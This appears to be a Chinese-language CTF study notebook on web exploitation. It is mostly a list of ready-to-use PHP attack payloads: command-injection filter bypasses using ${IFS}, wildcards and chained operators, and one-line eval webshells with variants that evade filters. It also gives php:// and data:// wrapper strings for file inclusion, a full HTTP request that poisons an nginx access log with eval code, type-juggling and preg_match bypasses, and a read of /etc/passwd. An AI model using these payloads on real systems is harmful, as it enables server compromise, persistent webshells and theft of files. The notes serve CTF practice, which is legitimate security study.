笔记
杂笔记
- 在逆向(星号)((BYTE*)的时候用宏定义#define BYTE unsigned char即可正常使用
- system(“tac flag.php”)用来读取文件内容;
- ?c=system(“tac%20fla(星号)”)意思是c=system(“tac flag”);
在linux的shell里:
- ls /(查看所有目录)
- ls /home(进入home文件夹)
- cat /home/flag.txt(打开flag.txt)
- tac用法同上
- ls ../输出上一级目录的内容
命令绕过
黑洞绕过:system($c.” >/dev/null 2>&1”);
-
它只会让分号后面的指令进入黑洞,所以这里直接绕过
- 双写分号绕过?c=tac f*;ls
-
双写&&绕过?c=tac f*%26%26ls(注:星号被绕过可以用问号)([0-9]和%的过滤是不会过滤%26之类的)()
-
带行号绕过?c=nl<fla’‘g.php%7C%7Cls(此方法可能要右键看源代码)
-
有$的情况下可以重命名flag.php成txt再直接访问:先执行?c=mv${IFS}fla?.php${IFS}a.txt%7C%7Cls 然后使用ls ls看看有没有命名成功。成功后直接访问a.txt -
其他注:?c=ls${IFS}/ ls查看根目录(ls /) - ?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt(将根目录(ls /)下的flag复制到可以直接在url的目录)
直接写php时:
文件上传
- 经典一句话木马:<?php @eval($_POST[a]); ?>
- 短标签(过滤php)绕过:<?=eval($_POST[a]);?>(需要配合user.ini打开权限)
- ; 分号过滤:直接删除即可
- 过滤了() :使用tac
- 日志文件上传(用于过滤括号):<?=include’/var/l’.’og/nginx/access.lo’.’g’?>,可以先访问url+根目录,如果出现日志则包含成功.
- 非蚁剑连接:直接上传带有命令的图片马,访问马所在的目录
过滤
- 过滤[ ]:<?=eval($_POST{a});?>(改成花括号)
- 过滤分号’;‘:<?=
cat ../flag*
?> <?=tac ../f*
?> <?=nl ../flag*
?>查看源码得flag - 过滤括号:<?=
tac fl*
?>
直接eval()传参时:
- 特殊字符:”$”“&”如果只是对c进行过滤,就可以通过包含另一个函数来绕过
- 做题前先看看对谁过滤,再看如何过滤
- c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
- c=include$_GET[1]?>&1=data://text/plain,<?php system(“nl flag.php”)?>
- c=$nice=include$_GET[“url”]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
- 仅括号
- c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
- c=eval(next(reset(get_defined_vars())));&1=;system(“tac%20flag.php”);
- c=show_source(next(array_reverse(scandir(pos(localeconv())))));
- c=highlight_file(next(array_reverse(scandir(dir))));
当include(c)时:直接使用协议绕过
- c=data://text/plain,<?php system(‘tac f*’);?>
- ?u=php://filter/read=convert.base64-encode/resource=flag.php(任何打开文件,读取文件的操作都可以使用伪协议绕过)、
- ?filename=php://filter/convert.utf7.utf7/resource=flag.php
- php://filter/convert.iconv.utf8.utf16/resource=flag.php
php被过滤的时候:
- ?c=data://text/plain,<?=system(“tac fla*”)?>
- 注:include()只会处理<?php>里面的内容
$被过滤的时候:
- ?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
- ?c=eval(next(reset(get_defined_vars())));&1=;system(“tac%20flag.php”);
日志文件包含:(抓包改UA,在UA末尾加东西)(用于include且其他伪协议无法使用的时候)
- 如:
GET /?file=/var/log/nginx/access.log HTTP/1.1 Host: 4e9bb3c0-1021-427e-81a3-42e5e6e13c39.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[2]);?> \\在这里改噢 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: UM_distinctid=17ffcdc88eb73a-022664ffe42c5b8-13676d4a-1fa400-17ffcdc88ec82c Connection: close
-
可以直接命令执行即可也可以用webshell后门工具连接
-
?file=/var/log/nginx/access.log&2=system(‘ls /var/www/html’);phpinfo();
-
?file=/var/log/nginx/access.log&2=system(‘tac /var/www/html/fl0g.php’);phpinfo();
特别注意这里的system();是有分号的!!
条件竞争漏洞:(相关:2023年梦极光线上赛web)(文件上传,文件包含等都能用)
php特性绕过
preg_match绕过:
- preg_match第二个参数为0时,会将0x开头当作十六进制,0开头当作八进制
- 多行绕过 php%0aPHP(用于多次preg_match)
- strpos($num, “0”)意为开头不能为0,只需要加入%0a(换行)或%09(空格)即可绕过
关于正则匹配preg_match(‘/^O:\d+/‘)的绕过的几种方法:
- 1.利用加号绕过(注意在url里传参时+要编码为%2B)直接在冒号和数字之间加上一个加号比如O:+4:”Demo”:2:{s:10:” Demo file”;s:8:”fl4g.php”;}
- 2.利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)。(没用过)
强弱比较绕过:
- 数组绕过:a[]=1&b[]=2
- md5撞库: 两个不用的明文各自经过MD5加密后,得到相等的hash值(多用于===)
- is_numeric()绕过:is_numeric()函数判断为数字时返回true,否则为false。如果数字为1234%00它就会判断为非数字,而在比较时这通常视为1234
其他总结
- 伪协议绕过:?u=php://filter/read=convert.base64-encode/resource=flag.php(任何打开文件,读取文件的操作都可以使用伪协议绕过)
- 伪协议绕过:?u=php://filter/read=convert.base64-encode/resource=/var/www/html/flag(任何打开文件,读取文件的操作都可以使用伪协议绕过)
- 读文件协议:file:///etc/passwd